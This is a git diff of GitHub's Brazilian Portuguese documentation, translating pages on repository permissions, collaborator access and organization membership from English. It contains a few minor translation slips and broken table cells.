-| Control access to {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies | "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %}
-| Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" |
-| Manage data use for a private repository | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"|{% endif %}
-| Define code owners for the repository | "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)" |
-| Archive the repository | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %}
-| Create security advisories | "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)" |
-| Display a sponsor button | "[Displaying a sponsor button in your repository](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)" |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-| Allow or disallow auto-merge for pull requests | "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %}
+| Ação                                                                                                                                                             | Mais informações                                                                                                                                                                                                                                                                                                 |
+|:---------------------------------------------------------------------------------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% ifversion fpt or ghec %}Convidar colaboradores{% else %}Adicionar colaboradores{% endif %}                                                                    |                                                                                                                                                                                                                                                                                                                  |
+| "[Convidar colaboradores para um repositório pessoal](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" |                                                                                                                                                                                                                                                                                                                  |
+| Alterar a visibilidade do repositório                                                                                                                            | "[Configurar a visibilidade do repositório](/github/administering-a-repository/setting-repository-visibility)" {% ifversion fpt or ghec %}
+| Limitar interações com o repositório                                                                                                                             | "[Limitar as interações no seu repositório](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)".|{% endif %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+| Renomear um branch, incluindo o branch padrão                                                                                                                    | "[Renomear um branch](/github/administering-a-repository/renaming-a-branch)" ➲{% endif %}
+| Fazer merge de uma pull request em um branch protegido, mesmo sem revisões de aprovação                                                                          | "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches)"                                                                                                                                                                                                                       |
+| Excluir o repositório                                                                                                                                            | "[Excluir um repositório](/repositories/creating-and-managing-repositories/deleting-a-repository)"                                                                                                                                                                                                               |
+| Gerenciar tópicos do repositório                                                                                                                                 | "[Classificar seu repositório com tópicos](/github/administering-a-repository/classifying-your-repository-with-topics)" {% ifversion fpt or ghec %}
+| Gerenciar configurações de segurança e análise para o repositório                                                                                                | "[Gerenciar as configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %}
+| Habilitar o gráfico de dependências para um repositório privado                                                                                                  | "[Explorar as dependências de um repositório](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.1 or ghec or ghae %}
+| Excluir e restaurar pacotes                                                                                                                                      | "[Excluir e restaurar um pacote](/packages/learn-github-packages/deleting-and-restoring-a-package)"|{% endif %}{% ifversion ghes < 3.1 %}
+| Excluir pacotes                                                                                                                                                  | "[Excluir pacotes](/packages/learn-github-packages/deleting-a-package)" 
+{% endif %}
+| Personalizar a visualização das mídias sociais do repositório                                                                                                    | "[Personalizar a visualização das mídias sociais do seu repositório](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)"                                                                                                                                                      |
+| Criar um modelo a partir do repositório                                                                                                                          | "[Criando um repositório de modelo](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)"{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| Controle o acesso a {% data variables.product.prodname_dependabot_alerts %} para dependências vulneráveis                                                      | "[Gerenciar as configurações de segurança e análise do repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %}
+| Ignorar {% data variables.product.prodname_dependabot_alerts %} no repositório                                                                                 | "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"                                                                                                                                |
+| Gerenciar o uso de dados para um repositório privado                                                                                                             | "[Gerenciar as configurações de uso de dados para o seu repositório privado](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"
+{% endif %}
+| Definir os proprietários do código do repositório                                                                                                                | "[Sobre proprietários do código](/github/creating-cloning-and-archiving-repositories/about-code-owners)"                                                                                                                                                                                                         |
+| Arquivar o repositório                                                                                                                                           | "[Arquivar repositórios](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %}
+| Criar consultorias de segurança                                                                                                                                  | "[Sobre {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)"                                                                                                                                                                |
+| Exibir um botão de patrocinador                                                                                                                                  | "[Exibir um botão de patrocinador no repositório](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)" |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+| Permitir ou negar merge automático para pull requests                                                                                                            | "[Gerenciar merge automático para pull requests no seu repositório](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %}
 
-## Collaborator access for a repository owned by a user account
+## Acesso de colaborador para um repositório pertencente a uma conta de usuário
 
-Collaborators on a personal repository can pull (read) the contents of the repository and push (write) changes to the repository.
+Os colaboradores em um repositório pessoal podem extrair (ler) os conteúdos do repositório e fazer push (gravação) das alterações no repositório.
 
 {% note %}
 
-**Note:** In a private repository, repository owners can only grant write access to collaborators. Collaborators can't have read-only access to repositories owned by a user account.
+**Observação:** Em um repositório privado, proprietários de repositórios podem conceder somente acesso de gravação aos colaboradores. Os colaboradores não podem ter acesso somente leitura a repositórios pertencentes a uma conta de usuário.
 
 {% endnote %}
 
-Collaborators can also perform the following actions.
+Os colaboradores também podem executar as seguintes ações.
 
-| Action | More information |
-| :- | :- |
-| Fork the repository | "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| Rename a branch other than the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %}
-| Create, edit, and delete comments on commits, pull requests, and issues in the repository | <ul><li>"[About issues](/github/managing-your-work-on-github/about-issues)"</li><li>"[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"</li><li>"[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"</li></ul> |
-| Create, assign, close, and re-open issues in the repository | "[Managing your work with issues](/github/managing-your-work-on-github/managing-your-work-with-issues)" |
-| Manage labels for issues and pull requests in the repository | "[Labeling issues and pull requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)" |
-| Manage milestones for issues and pull requests in the repository | "[Creating and editing milestones for issues and pull requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)" |
-| Mark an issue or pull request in the repository as a duplicate | "[About duplicate issues and pull requests](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)" |
-| Create, merge, and close pull requests in the repository | "[Proposing changes to your work with pull requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-| Enable and disable auto-merge for a pull request | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %}
-| Apply suggested changes to pull requests in the repository |"[Incorporating feedback in your pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)" |
-| Create a pull request from a fork of the repository | "[Creating a pull request from a fork](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)" |
-| Submit a review on a pull request that affects the mergeability of the pull request | "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" |
-| Create and edit a wiki for the repository | "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" |
-| Create and edit releases for the repository | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)" |
-| Act as a code owner for the repository | "[About code owners](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %}
-| Publish, view, or install packages | "[Publishing and managing packages](/github/managing-packages-with-github-packages/publishing-and-managing-packages)" |{% endif %}
-| Remove themselves as collaborators on the repository | "[Removing yourself from a collaborator's repository](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)" |
+| Ação                                                                                     | Mais informações                                                                                                                                                                                                  |
+|:---------------------------------------------------------------------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Bifurcar o repositório                                                                   | "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| Renomear um branch diferente do branch padrão                                            | "[Renomear um branch](/github/administering-a-repository/renaming-a-branch)" ➲{% endif %}
+| Criar, editar e excluir comentários em commits, pull requests e problemas no repositório | <ul><li>"[Sobre problemas](/github/managing-your-work-on-github/about-issues)"</li><li>"[Comentando em um pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"</li><li>"[Gerenciar comentários disruptivos](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"</li></ul>                                                                                                                                                                                         |
+| Criar, atribuir, fechar e reabrir problemas no repositório                               | "[Gerenciar o seu trabalho com problemas](/github/managing-your-work-on-github/managing-your-work-with-issues)"                                                                                                   |
+| Gerenciar etiquetas para problemas e pull requests no repositório                        | "[Etiquetar problemas e pull requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)"                                                                                                   |
+| Gerenciar marcos para problemas e pull requests no repositório                           | "[Criar e editar marcos para problemas e pull requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)"                                                       |
+| Marcar um problema ou pull request no repositório como duplicado                         | "[Sobre problemas e pull requests duplicados](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)"                                                                                     |
+| Criar, mesclar e fechar pull requests no repositório                                     | "[Propor alterações no seu trabalho com pull requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+| Habilitar e desabilitar o merge automático para um pull request                          | "[Fundir automaticamente um pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %}
+| Aplicar alterações sugeridas aos pull requests no repositório                            | "[Incorporar feedback no seu pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)"                                       |
+| Criar um pull request a partir de uma bifurcação do repositório                          | "[Criar uma pull request de uma bifurcação](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)"                                                                             |
+| Enviar uma revisão em um pull request que afeta a capacidade de merge do pull request    | "[Revisando alterações propostas em uma pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)"                           |
+| Criar e editar uma wiki para o repositório                                               | "[Sobre wikis](/communities/documenting-your-project-with-wikis/about-wikis)"                                                                                                                                     |
+| Criar e editar versões para o repositório                                                | "[Gerenciar versões em um repositório](/github/administering-a-repository/managing-releases-in-a-repository)"                                                                                                     |
+| Agir como proprietário do código para o repositório                                      | "[Sobre os proprietários do código](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %}
+| Publicar, visualizar ou instalar pacotes                                                 | "[Publicar e gerenciar pacotes](/github/managing-packages-with-github-packages/publishing-and-managing-packages)",{% endif %}
+| Remover a si mesmos como colaboradores do repositório                                    | "[Remover a si mesmo de um repositório de colaborador](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)"                                               |
 
-## Further reading
+## Leia mais
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
index 47f926a386..4f3f9297b3 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
@@ -1,6 +1,6 @@
 ---
-title: About organization membership
-intro: You can become a member of an organization to collaborate with coworkers or open-source contributors across many repositories at once.
+title: Sobre associação à organização
+intro: Você pode se tornar um integrante de uma organização para colaborar com colegas de trabalho ou contribuidores de código aberto em muitos repositórios de uma vez.
 redirect_from:
   - /articles/about-organization-membership
   - /github/setting-up-and-managing-your-github-user-account/about-organization-membership
@@ -12,41 +12,42 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Organization membership
+shortTitle: Associação à organização
 ---
-An organization owner can invite you to join their organization as a member, billing manager, or owner. An organization owner or member with admin privileges for a repository can invite you to collaborate in one or more repositories as an outside collaborator. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
-You can access organizations you're a member of on your profile page. For more information, see "[Accessing an organization](/articles/accessing-an-organization)."
+Um proprietário da organização pode convidar você para ingressar na organização dele como um integrante, gerente de cobrança ou proprietário. Um proprietário da organização ou integrante com privilégios administrativos para um repositório pode convidar você para colaborar em um ou mais repositórios como um colaborador externo. Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
-When you accept an invitation to join an organization, the organization owners may be able to see:
+É possível acessar organizações das quais você é integrante em sua página de perfil. Para obter mais informações, consulte "[Acessar uma organização](/articles/accessing-an-organization)".
 
-- Your public profile information
-- Your email address
-- If you have two-factor authorization enabled
-- Repositories you have access to within the organization, and your access level
-- Certain activity within the organization
-- Country of request origin
-- Your IP address
+Quando você aceita um convite para ingressar em uma organização, os proprietários da organização podem ver:
 
-For more information, see the <a href="/articles/github-privacy-statement/" class="dotcom-only">{% data variables.product.prodname_dotcom %} Privacy Statement</a>.
+- Suas informações públicas de perfil
+- Seu endereço de e-mail
+- Se você tem a autorização de dois fatores habilitada
+- Os repositórios aos quais você tem acesso dentro da organização e seu nível de acesso
+- Determinadas atividades dentro da organização
+- País de origem da solicitação
+- Seu endereço IP
+
+Para obter mais informações, consulte "<a href="/articles/github-privacy-statement/" class="dotcom-only">Declaração de privacidade do {% data variables.product.prodname_dotcom %}</a>.
 
   {% note %}
 
-  **Note:** Owners are not able to view member IP addresses in the organization's audit log. In the event of a security incident, such as an account compromise or inadvertent sharing of sensitive data, organization owners may request details of access to private repositories. The information we return may include your IP address.
+  **Observação:** os proprietários não podem ver endereços IP do integrante no log de auditoria da organização. No caso de um incidente de segurança, como comprometimento de uma conta ou compartilhamento acidental de dados confidenciais, os proprietários da organização podem solicitar detalhes de acesso a repositórios privados. As informações que retornamos podem incluir seu endereço IP.
 
   {% endnote %}
 
-By default, your organization membership visibility is set to private. You can choose to publicize individual organization memberships on your profile. For more information, see "[Publicizing or hiding organization membership](/articles/publicizing-or-hiding-organization-membership)."
+Por padrão, a visibilidade de sua associação à organização é definida como privada. Você pode optar por divulgar associações individuais à organização no seu perfil. Para obter mais informações, consulte "[Divulgar ou ocultar associação à organização](/articles/publicizing-or-hiding-organization-membership)".
 
 {% ifversion fpt or ghec %}
 
-If your organization belongs to an enterprise account, you are automatically a member of the enterprise account and visible to enterprise account owners. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+Se sua organização pertence a uma conta corporativa, você automaticamente é um integrante da conta corporativa e está visível aos proprietários da conta corporativa. Para obter mais informações, consulte "[Sobre contas corporativas](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %}
 
 {% endif %}
 
-You can leave an organization at any time. For more information, see "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization)."
+É possível ter uma organização a qualquer momento. Para obter mais informações, consulte "[Remover a si mesmo de uma organização](/articles/removing-yourself-from-an-organization)".
 
-## Further reading
+## Leia mais
 
-- "[About organizations](/articles/about-organizations)"
-- "[Managing your membership in organizations](/articles/managing-your-membership-in-organizations)"
+- "[Sobre organizações](/articles/about-organizations)"
+- "[Gerenciar sua associação em organizações](/articles/managing-your-membership-in-organizations)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
index 06aab78e62..bb679f8b02 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing an organization
-intro: 'To access an organization that you''re a member of, you must sign in to your personal user account.'
+title: Acessar uma organização
+intro: 'Para acessar uma organização da qual você é integrante, é preciso entrar na sua conta de usuário pessoal.'
 redirect_from:
   - /articles/error-cannot-log-in-that-account-is-an-organization
   - /articles/cannot-log-in-that-account-is-an-organization
@@ -16,9 +16,10 @@ versions:
 topics:
   - Accounts
 ---
+
 {% tip %}
 
-**Tip:** Only organization owners can see and change the account settings for an organization.
+**Dica:** somente proprietários da organização podem ver e alterar as configurações da conta de uma organização.
 
 {% endtip %}
 
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
index 0f06761832..e7c49276f4 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
@@ -1,6 +1,6 @@
 ---
-title: Publicizing or hiding organization membership
-intro: 'If you''d like to tell the world which organizations you belong to, you can display the avatars of the organizations on your profile.'
+title: Mostrar ou ocultar a associação da organização
+intro: 'Se deseja contar ao mundo de quais organizações você faz parte, é possível exibir os avatares das organizações em seu perfil.'
 redirect_from:
   - /articles/publicizing-or-concealing-organization-membership
   - /articles/publicizing-or-hiding-organization-membership
@@ -13,18 +13,17 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Show or hide membership
+shortTitle: Exibir ou ocultar associação
 ---
-![Profile organizations box](/assets/images/help/profile/profile_orgs_box.png)
 
-## Changing the visibility of your organization membership
+![Caixa perfil da organização](/assets/images/help/profile/profile_orgs_box.png)
+
+## Alterar a visibilidade da associação da organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Locate your username in the list of members. If the list is large, you can search for your username in the search box.
-![Organization member search box](/assets/images/help/organizations/member-search-box.png)
-5. In the menu to the right of your username, choose a new visibility option:
-    - To publicize your membership, choose **Public**.
-    - To hide your membership, choose **Private**.
-  ![Organization member visibility link](/assets/images/help/organizations/member-visibility-link.png)
+4. Localize seu nome de usuário na lista de integrantes. Se for uma lista grande, você pode pesquisar seu nome de usuário na caixa de pesquisa. ![Caixa de pesquisa organization member (integrante da organização)](/assets/images/help/organizations/member-search-box.png)
+5. No menu ao lado direito do seu nome de usuário, escolha uma nova opção de visibilidade:
+    - Para mostrar sua associação, escolha **Public** (Público).
+    - Para ocultar sua associação, escolha **Private** (Privado). ![Link visibilidade de integrante da organização](/assets/images/help/organizations/member-visibility-link.png)
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
index c2db6f82ee..fbb8570097 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from an organization
-intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.'
+title: Remover a si mesmo de uma organização
+intro: 'Se você for um colaborador externo ou um integrante de uma organização, poderá sair da organização a qualquer momento.'
 redirect_from:
   - /articles/how-do-i-remove-myself-from-an-organization
   - /articles/removing-yourself-from-an-organization
@@ -13,15 +13,16 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Leave an organization
+shortTitle: Deixar uma organização
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** If you're currently responsible for paying for {% data variables.product.product_name %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/articles/adding-or-editing-a-payment-method).
+**Aviso:** se você for responsável por pagar pelo {% data variables.product.product_name %} na organização, remover a si mesmo dela **não** atualizará as informações de cobrança no registro da organização. Se for responsável no momento pela cobrança, você **precisará** que outro proprietário ou gerente de cobrança [atualize a forma de pagamento da organização](/articles/adding-or-editing-a-payment-method).
 
-For more information, see "[Transferring organization ownership](/articles/transferring-organization-ownership)."
+Para obter mais informações, consulte "[Transferir a propriedade da organização](/articles/transferring-organization-ownership)".
 
 {% endwarning %}
 
@@ -29,5 +30,4 @@ For more information, see "[Transferring organization ownership](/articles/trans
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
-3. Under "Organizations", find the organization you'd like to remove yourself from, then click **Leave**.
-  ![Leave organization button with roles shown](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
+3. Em "Organizations" (Organizações), encontre a organização da qual deseja remover a si mesmo, depois clique em **Leave** (Sair). ![Botão Leave organization (Sair da organização) mostrando as funções](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
index 9571f2179e..be03974486 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Requesting organization approval for OAuth Apps
-intro: 'Organization members can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_app %}.'
+title: Solicitar aprovação da organização para apps OAuth
+intro: 'Os integrantes da organização podem solicitar a um proprietário a aprovação do acesso aos recursos da organização para {% data variables.product.prodname_oauth_app %}.'
 redirect_from:
   - /articles/requesting-organization-approval-for-third-party-applications
   - /articles/requesting-organization-approval-for-your-authorized-applications
@@ -12,20 +12,18 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Request OAuth App approval
+shortTitle: Solicitar aprovação do aplicativo OAuth
 ---
-## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account
+
+## Solicitar aprovação da organização para um {% data variables.product.prodname_oauth_app %} que você já autorizou na sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.access_applications %}
 {% data reusables.user_settings.access_authorized_oauth_apps %}
-3. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for.
-![View application button](/assets/images/help/settings/settings-third-party-view-app.png)
-4. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**.
-![Request access button](/assets/images/help/settings/settings-third-party-request-access.png)
-5. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**.
-![Request approval button](/assets/images/help/settings/oauth-access-request-approval.png)
+3. Na lista de aplicativos, clique no nome do {% data variables.product.prodname_oauth_app %} para o qual deseja solicitar o acesso. ![Botão View application (Exibir aplicativo)](/assets/images/help/settings/settings-third-party-view-app.png)
+4. Ao lado da organização que você deseja que o {% data variables.product.prodname_oauth_app %} acesse, clique em **Request access** (Solicitar acesso). ![Botão Request access (Solicitar acesso)](/assets/images/help/settings/settings-third-party-request-access.png)
+5. Depois de revisar as informações da solicitação de acesso do {% data variables.product.prodname_oauth_app %}, clique em **Request approval from owners** (Solicitar aprovação dos proprietários). ![Botão Request approval (Solicitar aprovação)](/assets/images/help/settings/oauth-access-request-approval.png)
 
-## Further reading
+## Leia mais
 
-- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- "[Sobre restrições de acesso do {% data variables.product.prodname_oauth_app %}](/articles/about-oauth-app-access-restrictions)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
index 28c8a5dcf8..3912ef6dc5 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
@@ -1,7 +1,7 @@
 ---
-title: Viewing people's roles in an organization
-intro: 'You can view a list of the people in your organization and filter by their role. For more information on organization roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."'
-permissions: "Organization members can see people's roles in the organization."
+title: Exibir as funções das pessoas em uma organização
+intro: 'Você pode exibir uma lista das pessoas na sua organização e filtrar pela função delas. Para obter mais informações sobre as funções da organização, consulte "[Funções em uma organização](/organizations/managing-peopleles-access-to-your-organization-with-roles/roles-in-an-organization)".'
+permissions: Organization members can see people's roles in the organization.
 redirect_from:
   - /articles/viewing-people-s-roles-in-an-organization
   - /articles/viewing-peoples-roles-in-an-organization
@@ -14,53 +14,51 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: View people in an organization
+shortTitle: Visualizar pessoas em uma organização
 ---
 
-## View organization roles
+## Ver funções da organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. You will see a list of the people in your organization. To filter the list by role, click **Role** and select the role you're searching for.
-  ![click-role](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png)
+4. Você verá uma lista das pessoas na organização. Para filtrar a lista por função, clique em **Role** (Função) e selecione aquela que está procurando. ![click-role](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png)
 
 {% ifversion fpt %}
 
-If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can also view the enterprise owners who manage billing settings and policies for all your enterprise's organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization).
+Se sua organização usar o {% data variables.product.prodname_ghe_cloud %}, você também poderá visualizar os proprietários da empresa que gerenciam as configurações de cobrança e políticas para todas as organizações da sua empresa. Para obter mais informações, consulte [a documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization).
 
 {% endif %}
 
 {% if enterprise-owners-visible-for-org-members %}
-## View enterprise owners and their roles in an organization
+## Veja os proprietários das empresas e as suas funções em uma organização
 
-If your organization is managed by an enterprise account, then you can view the enterprise owners who manage billing settings and policies for all of your enterprise's organizations. For more information about enterprise accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
